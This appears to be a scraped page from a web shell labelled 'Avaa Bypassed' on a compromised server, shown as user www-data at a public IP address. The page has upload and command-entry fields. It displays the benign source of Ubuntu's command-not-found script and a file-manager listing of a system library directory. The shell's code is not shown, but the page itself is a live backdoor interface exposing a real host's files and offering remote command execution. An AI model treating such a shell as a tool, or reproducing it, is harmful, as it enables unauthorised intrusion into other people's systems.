[ Avaa Bypassed ]




Upload:

Command:

www-data@13.58.73.22: ~ $
#!/usr/bin/python3
# (c) Zygmunt Krynicki 2005, 2006, 2007, 2008
# Licensed under GPL, see COPYING for the whole text

from __future__ import absolute_import, print_function


__version__ = "0.3"
BUG_REPORT_URL = "https://bugs.launchpad.net/command-not-found/+filebug"

try:
    import sys
    if sys.path and sys.path[0] == '/usr/lib':
        # Avoid ImportError noise due to odd installation location.
        sys.path.pop(0)
    if sys.version < '3':
        # We might end up being executed with Python 2 due to an old
        # /etc/bash.bashrc.
        import os
        if "COMMAND_NOT_FOUND_FORCE_PYTHON2" not in os.environ:
            os.execvp("/usr/bin/python3", [sys.argv[0]] + sys.argv)

    import gettext
    import locale
    from optparse import OptionParser

    from CommandNotFound.util import crash_guard
    from CommandNotFound import CommandNotFound
except KeyboardInterrupt:
    import sys
    sys.exit(127)


def enable_i18n():
    cnf = gettext.translation("command-not-found", fallback=True)
    kwargs = {}
    if sys.version < '3':
        kwargs["unicode"] = True
    cnf.install(**kwargs)
    try:
        locale.setlocale(locale.LC_ALL, '')
    except locale.Error:
        locale.setlocale(locale.LC_ALL, 'C')


def fix_sys_argv(encoding=None):
    """
    Fix sys.argv to have only unicode strings, not binary strings.
    This is required by various places where such argument might be
    automatically coerced to unicode string for formatting
    """
    if encoding is None:
        encoding = locale.getpreferredencoding()
    sys.argv = [arg.decode(encoding) for arg in sys.argv]


class LocaleOptionParser(OptionParser):
    """
    OptionParser is broken as its implementation of _get_encoding() uses
    sys.getdefaultencoding() which is ascii, what it should be using is
    locale.getpreferredencoding() which returns value based on LC_CTYPE (most
    likely) and allows for UTF-8 encoding to be used.
    """
    def _get_encoding(self, file):
        encoding = getattr(file, "encoding", None)
        if not encoding:
            encoding = locale.getpreferredencoding()
        return encoding


def main():
    enable_i18n()
    if sys.version < '3':
        fix_sys_argv()
    parser = LocaleOptionParser(
        version=__version__,
        usage=_("%prog [options] <command-name>"))
    parser.add_option('-d', '--data-dir', action='store',
                      default="/usr/share/command-not-found",
                      help=_("use this path to locate data fields"))
    parser.add_option('--ignore-installed', '--ignore-installed',
                      action='store_true',  default=False,
                      help=_("ignore local binaries and display the available packages"))
    parser.add_option('--no-failure-msg',
                      action='store_true', default=False,
                      help=_("don't print '<command-name>: command not found'"))
    (options, args) = parser.parse_args()
    if len(args) == 1:
        try:
            cnf = CommandNotFound.CommandNotFound(options.data_dir)
        except FileNotFoundError:
            print(_("Could not find command-not-found database. Run 'sudo apt update' to populate it."), file=sys.stderr)
            print(_("%s: command not found") % args[0], file=sys.stderr)
            return
        if not cnf.advise(args[0], options.ignore_installed) and not options.no_failure_msg:
            print(_("%s: command not found") % args[0], file=sys.stderr)


if __name__ == "__main__":
    crash_guard(main, BUG_REPORT_URL, __version__)

Filemanager

Name Type Size Permission Actions
NetworkManager Folder 0755
SYSLINUX Folder 0755
X11 Folder 0755
accountsservice Folder 0755
apache2 Folder 0755
apg Folder 0755
apparmor Folder 0755
apt Folder 0755
aspell Folder 0755
binfmt.d Folder 0755
bluetooth Folder 0755
brltty Folder 0755
cgi-bin Folder 0755
console-setup Folder 0755
crda Folder 0755
cups Folder 0755
dbus-1.0 Folder 0755
debug Folder 0755
dpkg Folder 0755
eject Folder 0755
emacsen-common Folder 0755
environment.d Folder 0755
evolution-data-server Folder 0755
file Folder 0755
firefox Folder 0755
firefox-addons Folder 0755
firmware Folder 0755
gcc Folder 0755
gdm3 Folder 0755
ghostscript Folder 0755
girepository-1.0 Folder 0755
gnome-initial-setup Folder 0755
gnome-session Folder 0755
gnome-settings-daemon-3.0 Folder 0755
gnome-shell Folder 0755
gnupg Folder 0755
gnupg2 Folder 0755
groff Folder 0755
grub Folder 0755
grub-legacy Folder 0755
gvfs Folder 0755
hdparm Folder 0755
ibus Folder 0755
init Folder 0755
initramfs-tools Folder 0755
ispell Folder 0755
kernel Folder 0755
klibc Folder 0755
language-selector Folder 0755
libreoffice Folder 0755
linux Folder 0755
linux-boot-probes Folder 0755
linux-sound-base Folder 0755
locale Folder 0755
lp_solve Folder 0755
lsb Folder 0755
man-db Folder 0755
mecab Folder 0755
memtest86+ Folder 0755
mime Folder 0755
modprobe.d Folder 0755
modules Folder 0755
modules-load.d Folder 0755
mysql Folder 0755
netplan Folder 0755
networkd-dispatcher Folder 0755
nvidia Folder 0755
openssh Folder 0755
os-prober Folder 0755
os-probes Folder 0755
packagekit Folder 0755
pcmciautils Folder 0755
php Folder 0755
pkgconfig Folder 0755
pm-utils Folder 0755
policykit-1 Folder 0755
pppd Folder 0755
pulse-13.99.1 Folder 0755
python2.7 Folder 0755
python3 Folder 0755
python3.8 Folder 0755
python3.9 Folder 0755
recovery-mode Folder 0755
rhythmbox Folder 0755
rsyslog Folder 0755
rygel Folder 0755
sasl2 Folder 0755
shotwell Folder 0755
snapd Folder 0755
software-properties Folder 0755
speech-dispatcher-modules Folder 0755
ssl Folder 0755
sudo Folder 0755
sysctl.d Folder 0755
syslinux Folder 0755
syslinux-legacy Folder 0755
systemd Folder 0755
sysusers.d Folder 0755
tc Folder 0755
terminfo Folder 0755
thunderbird Folder 0755
thunderbird-addons Folder 0755
tmpfiles.d Folder 0755
ubiquity Folder 0755
ubuntu-advantage Folder 0755
ubuntu-release-upgrader Folder 0755
udev Folder 0755
udisks2 Folder 0755
ufw Folder 0755
unity-settings-daemon-1.0 Folder 0755
update-notifier Folder 0755
upower Folder 0755
valgrind Folder 0755
vino Folder 0755
x86_64-linux-gnu Folder 0755
xorg Folder 0755
xserver-xorg-video-intel Folder 0755
cnf-update-db File 739 B 0755
command-not-found File 3.48 KB 0755
cpp File 1.1 MB 0755
gst-install-plugins-helper File 22.15 KB 0755
klibc-zqGeWFMIYUjZUbUCGjBo3LnHoMg.so File 76.94 KB 0755
os-release File 382 B 0644
pkg-config.multiarch File 17 B 0644
sftp-server File 126.28 KB 0755